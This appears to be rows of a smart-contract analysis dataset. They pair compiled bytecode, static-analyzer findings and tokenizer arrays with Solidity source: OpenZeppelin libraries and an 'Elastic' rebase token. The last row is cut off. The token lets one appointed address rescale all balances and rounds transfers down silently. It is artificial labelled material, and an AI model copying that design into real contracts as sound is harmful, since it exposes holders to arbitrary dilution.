2074686174206960448201526839903737ba1037bbb760b91b606482015260840161081b565b6001600160a01b038216611a3f5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161081b565b611a4a838383611d78565b611a556000826117fd565b6001600160a01b0383166000908152600360205260408120805460019290611a7e90849061291c565b90915550506001600160a01b0382166000908152600360205260408120805460019290611aac9084906128d1565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610e94828260405180602001604052806000815250611e35565b611b84848484611962565b611b9084848484611e68565b61143a5760405162461bcd60e51b815260040161081b906127c8565b601254606090610100900460ff16611c5057600d8054611bcb9061295f565b80601f0160208091040260200160405190810160405280929190818152602001828054611bf79061295f565b8015611c445780601f10611c1957610100808354040283529160200191611c44565b820191906000526020600020905b815481529060010190602001808311611c2757829003601f168201915b505050505090506108c7565b600b8054611bcb9061295f565b606081611c8257506040805180820190915260018152600360fc1b60208201526107ec565b8160005b8115611cac5780611c968161299a565b9150611ca59050600a836128e9565b9150611c86565b60008167ffffffffffffffff811115611cd557634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611cff576020820181803683370190505b5090505b841561195a57611d1460018361291c565b9150611d21600a866129b5565b611d2c9060306128d1565b60f81b818381518110611d4f57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350611d71600a866128e9565b9450611d03565b6001600160a01b038316611dd357611dce81600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611df6565b816001600160a01b0316836001600160a01b031614611df657611df68382611f75565b6001600160a01b038216611e1257611e0d81612012565b610afe565b826001600160a01b0316826001600160a01b031614610afe57610afe82826120eb565b611e3f838361212f565b611e4c6000848484611e68565b610afe5760405162461bcd60e51b815260040161081b906127c8565b60006001600160a01b0384163b15611f6a57604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611eac903390899088908890600401612734565b602060405180830381600087803b158015611ec657600080fd5b505af1925050508015611ef6575060408051601f3d908101601f19168201909252611ef3918101906125cc565b60015b611f50573d808015611f24576040519150601f19603f3d011682016040523d82523d6000602084013e611f29565b606091505b508051611f485760405162461bcd60e51b815260040161081b906127c8565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061195a565b506001949350505050565b60006001611f8284610f0f565b611f8c919061291c565b600083815260076020526040902054909150808214611fdf576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b6008546000906120249060019061291c565b6000838152600960205260408120546008805493945090928490811061205a57634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050806008838154811061208957634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101929092558281526009909152604080822084905585825281205560088054806120cf57634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b60006120f683610f0f565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b0382166121855760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015260640161081b565b6000818152600260205260409020546001600160a01b0316156121ea5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015260640161081b565b6121f660008383611d78565b6001600160a01b038216600090815260036020526040812080546001929061221f9084906128d1565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b8280546122899061295f565b90600052602060002090601f0160209004810192826122ab57600085556122f1565b82601f106122c457805160ff19168380011785556122f1565b828001600101855582156122f1579182015b828111156122f15782518255916020019190600101906122d6565b506122fd929150612301565b5090565b5b808211156122fd5760008155600101612302565b600067ffffffffffffffff831115612330576123306129f5565b612343601f8401601f19166020016128a0565b905082815283838301111561235757600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b03811681146107ec57600080fd5b803580151581146107ec57600080fd5b6000602082840312156123a6578081fd5b6115c58261236e565b600080604083850312156123c1578081fd5b6123ca8361236e565b91506123d86020840161236e565b90509250929050565b6000806000606084860312156123f5578081fd5b6123fe8461236e565b925061240c6020850161236e565b9150604084013590509250925092565b60008060008060808587031215612431578081fd5b61243a8561236e565b93506124486020860161236e565b925060408501359150606085013567ffffffffffffffff81111561246a578182fd5b8501601f8101871361247a578182fd5b61248987823560208401612316565b91505092959194509250565b600080604083850312156124a7578182fd5b6124b08361236e565b91506123d860208401612385565b600080604083850312156124d0578182fd5b6124d98361236e565b946020939093013593505050565b600060208083850312156124f9578182fd5b823567ffffffffffffffff80821115612510578384fd5b818501915085601f830112612523578384fd5b813581811115612535576125356129f5565b8060051b91506125468483016128a0565b8181528481019084860184860187018a1015612560578788fd5b8795505b83861015612589576125758161236e565b835260019590950194918601918601612564565b5098975050505050505050565b6000602082840312156125a7578081fd5b6115c582612385565b6000602082840312156125c1578081fd5b81356115c581612a0b565b6000602082840312156125dd578081fd5b81516115c581612a0b565b6000602082840312156125f9578081fd5b813567ffffffffffffffff81111561260f578182fd5b8201601f8101841361261f578182fd5b61195a84823560208401612316565b60006020828403121561263f578081fd5b5035919050565b6000815180845261265e816020860160208601612933565b601f01601f19169290920160200192915050565b6000845160206126858285838a01612933565b8551918401916126988184848a01612933565b85549201918390600181811c90808316806126b457607f831692505b8583108114156126d257634e487b7160e01b88526022600452602488fd5b8080156126e657600181146126f757612723565b60ff19851688528388019550612723565b60008b815260209020895b8581101561271b5781548a820152908401908801612702565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061276790830184612646565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b818110156127a95783518352928401929184019160010161278d565b50909695505050505050565b6000602082526115c56020830184612646565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b604051601f8201601f1916810167ffffffffffffffff811182821017156128c9576128c96129f5565b604052919050565b600082198211156128e4576128e46129c9565b500190565b6000826128f8576128f86129df565b500490565b6000816000190483118215151615612917576129176129c9565b500290565b60008282101561292e5761292e6129c9565b500390565b60005b8381101561294e578181015183820152602001612936565b8381111561143a5750506000910152565b600181811c9082168061297357607f821691505b6020821081141561299457634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156129ae576129ae6129c9565b5060010190565b6000826129c4576129c46129df565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610cab57600080fdfea264697066735822122030be5404dd4aad56cd1e6af77e7845b4b32af9c1ae94f85384ad86dc312919c764736f6c63430008030033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2094, 2683, 8586, 2278, 2692, 14142, 29097, 16336, 2620, 2278, 2620, 2497, 2581, 2497, 22022, 2581, 20842, 15136, 9818, 2487, 2546, 2581, 3207, 2497, 2683, 10354, 2497, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1017, 1025, 1013, 1013, 2112, 1024, 2330, 4371, 27877, 2378, 1013, 2330, 4371, 27877, 2378, 1011, 8311, 1030, 1018, 1012, 1016, 1012, 1014, 1013, 4769, 1013, 1008, 1008, 1008, 1030, 16475, 3074, 1997, 4972, 3141, 2000, 1996, 4769, 2828, 1008, 1013, 3075, 4769, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 2995, 2065, 1036, 4070, 1036, 2003, 1037, 3206, 1012, 1008, 1008, 1031, 2590, 1033, 1008, 1027, 1027, 1027, 1027, 1008, 2009, 2003, 25135, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,865
0x95da1e3eecae3771acb05c145a131dca45c67fd4
// SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.8.0; // File: @openzeppelin/contracts/math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/GSN/Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: src/Token.sol contract Token is Ownable { using SafeMath for uint256; string private _name; string private _symbol; uint8 private _decimals; address private _rebaseInvoker; uint256 private _perShareAmount; uint256 private _totalShares; mapping(address => uint256) private _shares; mapping(address => mapping(address => uint256)) private _allowedShares; modifier onlyRebaseInvoker() { require( msg.sender == _rebaseInvoker, "Rebase: caller is not the rebase invoker" ); _; } constructor() public { _perShareAmount = 10**9; _totalShares = 10000000 * 10**9; _name = "Elastic"; _symbol = "ESC"; _decimals = 18; address msgSender = _msgSender(); _shares[msgSender] = _totalShares; emit Transfer(address(0), msgSender, _totalShares.mul(_perShareAmount)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() external view returns (uint256) { return _totalShares.mul(_perShareAmount); } function balanceOf(address account) external view returns (uint256) { return _shares[account].mul(_perShareAmount); } function transfer(address recipient, uint256 amount) external returns (bool) { uint256 share = amount.div(_perShareAmount); _shares[msg.sender] = _shares[msg.sender].sub(share); _shares[recipient] = _shares[recipient].add(share); emit Transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) external view returns (uint256) { return _allowedShares[owner][spender].mul(_perShareAmount); } function approve(address spender, uint256 amount) external returns (bool) { _allowedShares[msg.sender][spender] = amount.div(_perShareAmount); emit Approval(msg.sender, spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { uint256 share = amount.div(_perShareAmount); _allowedShares[sender][msg.sender] = _allowedShares[sender][msg.sender] .sub(share); _shares[sender] = _shares[sender].sub(share); _shares[recipient] = _shares[recipient].add(share); emit Transfer(sender, recipient, amount); return true; } function rebaseInvoker() public view returns (address) { return _rebaseInvoker; } function perShareAmount() public view returns (uint256) { return _perShareAmount; } function totalShares() public view returns (uint256) { return _totalShares; } function changeRebaseInvoker(address newInvoker) public onlyOwner { require( newInvoker != address(0), "Rebase: new invoker is the zero address" ); emit RebaseInvokerChanged(_rebaseInvoker, newInvoker); _rebaseInvoker = newInvoker; } function rebase( uint256 epoch, uint256 numerator, uint256 denominator ) external onlyRebaseInvoker returns (uint256) { uint256 newPerShareAmount = _perShareAmount.mul(numerator).div( denominator ); emit Rebase(epoch, _perShareAmount, newPerShareAmount); _perShareAmount = newPerShareAmount; return _perShareAmount; } event Transfer(address indexed from, address indexed to, uint256 amount); event Approval( address indexed owner, address indexed spender, uint256 amount ); event Rebase( uint256 indexed epoch, uint256 oldPerShareAmount, uint256 newPerShareAmount ); event RebaseInvokerChanged( address indexed previousOwner, address indexed newOwner ); }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146102cd578063a48daa4f146102d5578063a9059cbb146102fe578063dd62ed3e1461032a578063f2fde38b146103585761010b565b806370a082311461026f578063715018a6146102955780638da5cb5b1461029f5780638e88de11146102a75761010b565b806323b872dd116100de57806323b872dd146101ef578063313ce567146102255780633a98ef39146102435780635d45d09d1461024b5761010b565b80630552803e1461011057806306fdde031461012a578063095ea7b3146101a757806318160ddd146101e7575b600080fd5b61011861037e565b60408051918252519081900360200190f35b610132610384565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016c578181015183820152602001610154565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d3600480360360408110156101bd57600080fd5b506001600160a01b038135169060200135610419565b604080519115158252519081900360200190f35b610118610498565b6101d36004803603606081101561020557600080fd5b506001600160a01b038135811691602081013590911690604001356104b6565b61022d6105cb565b6040805160ff9092168252519081900360200190f35b6101186105d4565b6102536105da565b604080516001600160a01b039092168252519081900360200190f35b6101186004803603602081101561028557600080fd5b50356001600160a01b03166105ee565b61029d610616565b005b6102536106ca565b61029d600480360360208110156102bd57600080fd5b50356001600160a01b03166106d9565b6101326107ef565b610118600480360360608110156102eb57600080fd5b508035906020810135906040013561084d565b6101d36004803603604081101561031457600080fd5b506001600160a01b038135169060200135610910565b6101186004803603604081101561034057600080fd5b506001600160a01b03813581169160200135166109d0565b61029d6004803603602081101561036e57600080fd5b50356001600160a01b0316610a0e565b60045490565b60018054604080516020601f6002600019610100878916150201909516949094049384018190048102820181019092528281526060939092909183018282801561040f5780601f106103e45761010080835404028352916020019161040f565b820191906000526020600020905b8154815290600101906020018083116103f257829003601f168201915b5050505050905090565b600061043060045483610b7190919063ffffffff16565b3360008181526007602090815260408083206001600160a01b03891680855290835292819020949094558351868152935191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a35060015b92915050565b60006104b1600454600554610b1890919063ffffffff16565b905090565b6000806104ce60045484610b7190919063ffffffff16565b6001600160a01b03861660009081526007602090815260408083203384529091529020549091506104ff9082610bb3565b6001600160a01b03861660008181526007602090815260408083203384528252808320949094559181526006909152205461053a9082610bb3565b6001600160a01b0380871660009081526006602052604080822093909355908616815220546105699082610bf5565b6001600160a01b0380861660008181526006602090815260409182902094909455805187815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3506001949350505050565b60035460ff1690565b60055490565b60035461010090046001600160a01b031690565b6004546001600160a01b03821660009081526006602052604081205490916104929190610b18565b61061e610c4f565b6000546001600160a01b03908116911614610680576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6106e1610c4f565b6000546001600160a01b03908116911614610743576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166107885760405162461bcd60e51b8152600401808060200182810382526027815260200180610dbf6027913960400191505060405180910390fd5b6003546040516001600160a01b0380841692610100900416907f7b8be1078fc15fa9c531c3600c578a2ce6df5480eb02b7e5ef04e0898091bcea90600090a3600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60028054604080516020601f600019610100600187161502019094168590049384018190048102820181019092528281526060939092909183018282801561040f5780601f106103e45761010080835404028352916020019161040f565b60035460009061010090046001600160a01b0316331461089e5760405162461bcd60e51b8152600401808060200182810382526028815260200180610d976028913960400191505060405180910390fd5b60006108bf836108b986600454610b1890919063ffffffff16565b90610b71565b9050847fc6642d24d84e7f3d36ca39f5cce10e75639d9b158d5193aa350e2f900653e4c060045483604051808381526020018281526020019250505060405180910390a26004819055949350505050565b60008061092860045484610b7190919063ffffffff16565b336000908152600660205260409020549091506109459082610bb3565b33600090815260066020526040808220929092556001600160a01b038616815220546109719082610bf5565b6001600160a01b0385166000818152600660209081526040918290209390935580518681529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060019392505050565b6004546001600160a01b0380841660009081526007602090815260408083209386168352929052908120549091610a079190610b18565b9392505050565b610a16610c4f565b6000546001600160a01b03908116911614610a78576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610abd5760405162461bcd60e51b8152600401808060200182810382526026815260200180610d506026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082610b2757506000610492565b82820282848281610b3457fe5b0414610a075760405162461bcd60e51b8152600401808060200182810382526021815260200180610d766021913960400191505060405180910390fd5b6000610a0783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c53565b6000610a0783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cf5565b600082820183811015610a07576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b3390565b60008183610cdf5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ca4578181015183820152602001610c8c565b50505050905090810190601f168015610cd15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610ceb57fe5b0495945050505050565b60008184841115610d475760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610ca4578181015183820152602001610c8c565b50505090039056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775265626173653a2063616c6c6572206973206e6f74207468652072656261736520696e766f6b65725265626173653a206e657720696e766f6b657220697320746865207a65726f2061646472657373a264697066735822122035569cd3dff4a97c454f071d0198e48941095586788d3997803010d53c83f32b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2629, 2850, 2487, 2063, 2509, 4402, 3540, 2063, 24434, 2581, 2487, 6305, 2497, 2692, 2629, 2278, 16932, 2629, 27717, 21486, 16409, 2050, 19961, 2278, 2575, 2581, 2546, 2094, 2549, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1018, 1012, 2570, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 2007, 2794, 2058, 12314, 1008, 14148, 1012, 1008, 1008, 20204, 3136, 1999, 5024, 3012, 10236, 2006, 2058, 12314, 1012, 2023, 2064, 4089, 2765, 1008, 1999, 12883, 1010, 2138, 28547, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,866
0x95da2493de57fb8d7609a97306de6e8829c16005
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * 